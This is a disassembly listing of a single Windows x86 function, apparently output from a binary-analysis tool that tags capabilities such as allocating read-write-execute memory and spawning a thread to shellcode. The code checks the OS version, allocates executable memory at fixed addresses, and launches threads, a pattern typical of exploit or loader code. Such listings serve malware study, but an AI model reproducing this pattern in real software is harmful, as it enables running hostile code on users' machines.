Function at 0x406190
Capabilities:
Allocate or change rwx memory
Create thread
Resume thread
Spawn thread to rwx shellcode
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
mov byte [ebp - 0x11], 0
mov dword [ebp - 0x10], 0
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.USER32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x4061d7
xor eax, eax
jmp 0x40659c
push 0x4a8
push 0
push 0x409900
call sub.ntdll.dll_memset
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x409900], eax
mov eax, dword [ebp + 8]
mov dword [0x409904], eax
lea ecx, [ebp - 0x11]
push ecx
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 8]
push eax
call fcn.00405500
test eax, eax
je 0x4063ab
cmp dword [ebp - 8], 5
jne 0x40624c
cmp dword [ebp - 4], 1
jb 0x40624c
mov dword [0x409908], 0
movzx ecx, byte [ebp - 0x11]
cmp ecx, 1
je 0x406247
mov edx, dword [0x409908]
add edx, 2
mov dword [0x409908], edx
jmp 0x4062d6
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00404fb5
test eax, eax
je 0x4062d6
cmp dword [ebp - 8], 6
jne 0x406275
cmp dword [ebp - 4], 0
jne 0x406275
mov dword [0x409908], 4
jmp 0x4062d6
cmp dword [ebp - 8], 6
jne 0x40628d
cmp dword [ebp - 4], 1
jne 0x40628d
mov dword [0x409908], 6
jmp 0x4062d6
cmp dword [ebp - 8], 6
jne 0x4062a5
cmp dword [ebp - 4], 2
jne 0x4062a5
mov dword [0x409908], 8
jmp 0x4062d6
cmp dword [ebp - 8], 6
jne 0x4062bd
cmp dword [ebp - 4], 3
jne 0x4062bd
mov dword [0x409908], 0xa
jmp 0x4062d6
cmp dword [ebp - 8], 0xa
jne 0x4062cf
mov dword [0x409908], 0xc
jmp 0x4062d6
xor eax, eax
jmp 0x40659c
mov dword [0x40990c], 0
mov dword [0x409910], 0x2a
lea edx, [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x406305
cmp dword [ebp - 0xc], 0
je 0x40630c
xor eax, eax
jmp 0x40659c
mov eax, dword [0x409908]
mov ecx, dword [eax*4 + 0x4090e4]
add ecx, 4
mov dword [0x409914], ecx
mov edx, dword [0x409908]
mov eax, dword [edx*4 + 0x4090e4]
mov dword [0x409918], eax
mov ecx, dword [0x409908]
mov edx, dword [ecx*4 + 0x4090ac]
mov dword [0x409920], edx
mov eax, dword [0x409908]
mov ecx, dword [eax*4 + 0x40911c]
mov dword [0x409924], ecx
mov edx, dword [0x409908]
mov eax, dword [edx*4 + 0x40911c]
mov dword [0x409940], eax
mov ecx, dword [0x409908]
mov edx, dword [ecx*4 + 0x409154]
mov dword [0x409930], edx
mov eax, dword [0x409908]
mov ecx, dword [eax*4 + 0x40918c]
mov dword [0x409934], ecx
mov edx, dword [0x409908]
mov eax, dword [edx*4 + 0x4091c4]
mov dword [0x409938], eax
mov dword [0x409da4], 0
cmp dword [0x409908], 0xc
jae 0x4063fd
mov ecx, dword [0x409908]
mov edx, dword [ecx*4 + 0x4091fc]
mov dword [0x409928], edx
cmp dword [0x409908], 8
je 0x4063e6
cmp dword [0x409908], 0xa
je 0x4063e6
mov eax, dword [0x409928]
sub eax, 1
mov dword [ebp - 0x1c], eax
jmp 0x4063f2
mov ecx, dword [0x409928]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
mov dword [0x40992c], edx
jmp 0x40645c
mov dword [ebp - 0x18], 0
cmp dword [ebp - 0x18], 5
jae 0x40645c
mov eax, dword [ebp - 0x18]
add eax, 0x62
push eax
call fcn.004058d0
mov dword [0x40992c], eax
cmp dword [0x40992c], 0
je 0x406451
cmp dword [0x40990c], 0
je 0x40643b
mov ecx, dword [0x40992c]
add ecx, 1
mov dword [ebp - 0x20], ecx
jmp 0x406447
mov edx, dword [0x40992c]
sub edx, 1
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
mov dword [0x409928], eax
jmp 0x40645c
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
jmp 0x406404
cmp dword [0x409928], 0
jne 0x40646c
xor eax, eax
jmp 0x40659c
push 0x40
push 0x3000
push 0x1000
push 0x20000
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x20000
je 0x4064d5
mov edx, dword [0x409940]
add edx, 1
mov dword [0x409940], edx
push 0x40
push 0x3000
push 0x1000
push 0x2000000
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x2000000
je 0x4064d5
mov eax, dword [0x409940]
add eax, 1
mov dword [0x409940], eax
xor eax, eax
jmp 0x40659c
cmp dword [ebp - 0x10], 0
jne 0x4064e2
xor eax, eax
jmp 0x40659c
mov ecx, dword [ebp - 0x10]
mov dword [0x40993c], ecx
mov edx, dword [ebp - 0x10]
add edx, 0xe0
mov dword [0x409944], edx
push 0x409d88
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 4
push 0
push 0x406030
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x40994c], eax
cmp dword [0x40994c], 0
jne 0x40652c
xor eax, eax
jmp 0x40659c
mov eax, dword [0x40994c]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, 1
test ecx, ecx
je 0x406597
cmp dword [0x409da4], 0
jne 0x406553
cmp dword [0x409da0], 0xa
jbe 0x40658a
mov edx, dword [0x40996c]
push edx
call dword [sym.imp.USER32.dll_DestroyWindow]
push 0
mov eax, dword [0x409950]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
mov ecx, dword [0x40994c]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0x409d88
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x406597
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x406538
mov eax, dword [0x409da4]
mov esp, ebp
pop ebp
ret 4